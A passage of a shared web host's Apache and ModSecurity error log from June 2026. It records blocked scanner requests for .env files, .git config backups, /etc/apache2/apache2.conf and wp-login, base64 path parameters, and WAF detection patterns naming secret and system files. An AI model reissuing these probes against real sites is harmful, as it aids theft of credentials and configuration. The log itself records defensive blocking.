client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:26.627166 2026] [access_compat:error] [pid 648189:tid 648320] [remote 57.141.14.72:34809] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:26.818876 2026] [access_compat:error] [pid 646876:tid 646905] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vbW91c2UxL2RldmljZS9kZXZpY2UvcG93ZXI= [Sat Jun 13 18:20:26.819302 2026] [access_compat:error] [pid 646876:tid 646905] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vbW91c2UxL2RldmljZS9kZXZpY2UvcG93ZXI= [Sat Jun 13 18:20:26.827489 2026] [access_compat:error] [pid 646876:tid 646960] [remote 57.141.14.100:52521] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:26.827937 2026] [access_compat:error] [pid 646876:tid 646960] [remote 57.141.14.100:52521] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:27.057730 2026] [access_compat:error] [pid 646876:tid 646999] [remote 57.141.14.28:34992] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:27.058184 2026] [access_compat:error] [pid 646876:tid 646999] [remote 57.141.14.28:34992] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:27.122985 2026] [lsapi:warn] [pid 646876:tid 647113] [client 190.211.113.203:3344] [host kshar.net] Backend log: PHP Warning: Use of undefined constant user_level - assumed 'user_level' (this will throw an Error in a future version of PHP) in /home2/yourkat1/public_html/kshar/wp-content/plugins/ultimate-google-analytics/ultimate_ga.php on line 524\n [Sat Jun 13 18:20:27.253945 2026] [security2:error] [pid 648189:tid 648439] [client 216.73.216.71:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 71.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/zip/tests/zip_read.phpt"] [unique_id "ai3zy1WSojQL4F7upKCFjAAAANo"] [Sat Jun 13 18:20:27.329702 2026] [security2:error] [pid 648189:tid 648446] [client 185.177.72.9:39848] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(wp-)?config\\\\.(php\\\\.)?(?:bac?k|o(?:ld|rig)|copy|s(?:ave|wp)|vim?\\\\.|~)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1254"] [id "390597"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data Leakage - attempt to access backup config file (disable this rule if you require access to these backup files)"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/.git/config.bak"] [unique_id "ai3zy1WSojQL4F7upKCFjgAAAOA"] [Sat Jun 13 18:20:27.431199 2026] [core:error] [pid 648189:tid 648462] [client 45.86.200.47:49991] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace. [Sat Jun 13 18:20:27.431226 2026] [core:error] [pid 648189:tid 648462] [client 45.86.200.47:49991] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace. [Sat Jun 13 18:20:27.467396 2026] [security2:error] [pid 648189:tid 648453] [client 185.177.72.9:39848] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(wp-)?config\\\\.(php\\\\.)?(?:bac?k|o(?:ld|rig)|copy|s(?:ave|wp)|vim?\\\\.|~)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1254"] [id "390597"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data Leakage - attempt to access backup config file (disable this rule if you require access to these backup files)"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/.git/config.old"] [unique_id "ai3zy1WSojQL4F7upKCFkwAAAOc"] [Sat Jun 13 18:20:27.605080 2026] [security2:error] [pid 648189:tid 648397] [client 185.177.72.9:39848] ModSecurity: Access denied with code 406 (phase 2). Pattern match "[a-z0-9]~$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1257"] [id "390581"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data Leakage - attempt to access backup file (disable this rule if you require access to files that end with a tilde)"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/.git/config~"] [unique_id "ai3zy1WSojQL4F7upKCFlQAAALE"] [Sat Jun 13 18:20:27.692296 2026] [access_compat:error] [pid 646876:tid 647002] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vaW5wdXQ1L2V2ZW50My9zdWJzeXN0ZW0vZXZlbnQyL3Bvd2Vy [Sat Jun 13 18:20:27.692568 2026] [access_compat:error] [pid 646876:tid 647002] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vaW5wdXQ1L2V2ZW50My9zdWJzeXN0ZW0vZXZlbnQyL3Bvd2Vy [Sat Jun 13 18:20:27.762178 2026] [security2:error] [pid 648189:tid 648279] [remote 17.22.245.5:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 5.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zy1WSojQL4F7upKCFmgAA8jk"] [Sat Jun 13 18:20:28.223982 2026] [access_compat:error] [pid 646876:tid 646925] [remote 57.141.14.113:53406] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:28.224413 2026] [access_compat:error] [pid 646876:tid 646925] [remote 57.141.14.113:53406] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:28.285999 2026] [lsapi:warn] [pid 648189:tid 648357] [client 66.249.72.174:59685] [host kshar.net] Backend log: PHP Warning: Use of undefined constant user_level - assumed 'user_level' (this will throw an Error in a future version of PHP) in /home2/yourkat1/public_html/kshar/wp-content/plugins/ultimate-google-analytics/ultimate_ga.php on line 524\n [Sat Jun 13 18:20:28.445595 2026] [access_compat:error] [pid 646876:tid 646993] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vaW5wdXQ3L3Bvd2Vy [Sat Jun 13 18:20:28.445882 2026] [access_compat:error] [pid 646876:tid 646993] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vaW5wdXQ3L3Bvd2Vy [Sat Jun 13 18:20:28.448445 2026] [access_compat:error] [pid 648189:tid 648245] [remote 57.141.14.11:39607] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:28.448738 2026] [access_compat:error] [pid 648189:tid 648245] [remote 57.141.14.11:39607] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:28.479982 2026] [access_compat:error] [pid 646876:tid 646912] [remote 57.141.14.49:38825] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:28.480400 2026] [access_compat:error] [pid 646876:tid 646912] [remote 57.141.14.49:38825] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:28.517834 2026] [core:error] [pid 648189:tid 648355] [client 45.86.200.24:63575] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace. [Sat Jun 13 18:20:28.517854 2026] [core:error] [pid 648189:tid 648355] [client 45.86.200.24:63575] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace. [Sat Jun 13 18:20:28.640825 2026] [security2:error] [pid 646876:tid 646939] [remote 185.176.8.77:60974] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 77.8.176.185.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "gkmasterson.com"] [uri "/wp-login.php"] [unique_id "ai3zzNyTkdrNlD40tSG-0AAASDw"] [Sat Jun 13 18:20:28.684134 2026] [security2:error] [pid 648189:tid 648222] [remote 17.241.227.156:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 156.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zzFWSojQL4F7upKCFwAAA9AI"] [Sat Jun 13 18:20:28.757465 2026] [access_compat:error] [pid 646876:tid 646908] [remote 57.141.14.33:29283] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:28.757925 2026] [access_compat:error] [pid 646876:tid 646908] [remote 57.141.14.33:29283] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:28.865439 2026] [access_compat:error] [pid 648189:tid 648221] [remote 57.141.14.95:57321] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:28.865882 2026] [access_compat:error] [pid 648189:tid 648221] [remote 57.141.14.95:57321] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:29.109034 2026] [access_compat:error] [pid 646876:tid 647005] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9ldmVudDAvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vbWljZS9wb3dlcg== [Sat Jun 13 18:20:29.109505 2026] [access_compat:error] [pid 646876:tid 647005] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9ldmVudDAvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vbWljZS9wb3dlcg== [Sat Jun 13 18:20:29.116925 2026] [access_compat:error] [pid 648189:tid 648334] [remote 216.73.216.223:23206] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:29.117177 2026] [access_compat:error] [pid 648189:tid 648334] [remote 216.73.216.223:23206] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:29.203015 2026] [security2:error] [pid 648189:tid 648468] [client 57.129.146.219:53028] ModSecurity: Access denied with code 406 (phase 1). Match of "ipMatchFromFile sitelock.txt" against "REMOTE_ADDR" required. [file "/opt/mod_security/hg_rules.conf"] [line "398"] [id "900247"] [msg "Wordpress Plugin README.txt file access attempt"] [hostname "harmonicabootcamp.com"] [uri "/wp-content/plugins/updraftplus/readme.txt"] [unique_id "ai3zzVWSojQL4F7upKCF0AAAAPI"] [Sat Jun 13 18:20:29.208133 2026] [access_compat:error] [pid 648189:tid 648343] [remote 57.141.14.77:20525] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:29.208566 2026] [access_compat:error] [pid 648189:tid 648343] [remote 57.141.14.77:20525] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:29.686371 2026] [security2:error] [pid 648189:tid 648357] [client 185.177.72.9:39848] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/etc/"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/etc/apache2/apache2.conf"] [unique_id "ai3zzVWSojQL4F7upKCF4wAAAIk"] [Sat Jun 13 18:20:29.743746 2026] [access_compat:error] [pid 646876:tid 646986] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvaW5wdXQvaW5wdXQyL2V2ZW50Mi9kZXZpY2U= [Sat Jun 13 18:20:29.744045 2026] [access_compat:error] [pid 646876:tid 646986] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvaW5wdXQvaW5wdXQyL2V2ZW50Mi9kZXZpY2U= [Sat Jun 13 18:20:29.872095 2026] [security2:error] [pid 648189:tid 648250] [remote 17.246.23.222:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 222.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zzVWSojQL4F7upKCF6AAAoB0"] [Sat Jun 13 18:20:29.926073 2026] [access_compat:error] [pid 646876:tid 646951] [remote 57.141.14.24:35534] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:29.926486 2026] [access_compat:error] [pid 646876:tid 646951] [remote 57.141.14.24:35534] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:30.081476 2026] [security2:error] [pid 648189:tid 648324] [remote 17.241.75.125:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 125.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3zzlWSojQL4F7upKCF6wAAv2U"] [Sat Jun 13 18:20:30.121274 2026] [security2:error] [pid 648189:tid 648361] [client 185.177.72.9:39848] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/backend/.env"] [unique_id "ai3zzlWSojQL4F7upKCF7AAAAI0"] [Sat Jun 13 18:20:30.210963 2026] [access_compat:error] [pid 646876:tid 646948] [remote 57.141.14.44:50115] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:30.211257 2026] [access_compat:error] [pid 646876:tid 646948] [remote 57.141.14.44:50115] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:30.237055 2026] [access_compat:error] [pid 646876:tid 646944] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vbWljZS9zdWJzeXN0ZW0vaW5wdXQ1L3Bvd2Vy [Sat Jun 13 18:20:30.237516 2026] [access_compat:error] [pid 646876:tid 646944] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vbWljZS9zdWJzeXN0ZW0vaW5wdXQ1L3Bvd2Vy [Sat Jun 13 18:20:30.258049 2026] [security2:error] [pid 648189:tid 648463] [client 185.177.72.9:39848] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/.env"] [unique_id "ai3zzlWSojQL4F7upKCF8gAAAO0"] [Sat Jun 13 18:20:30.379258 2026] [security2:error] [pid 646876:tid 646907] 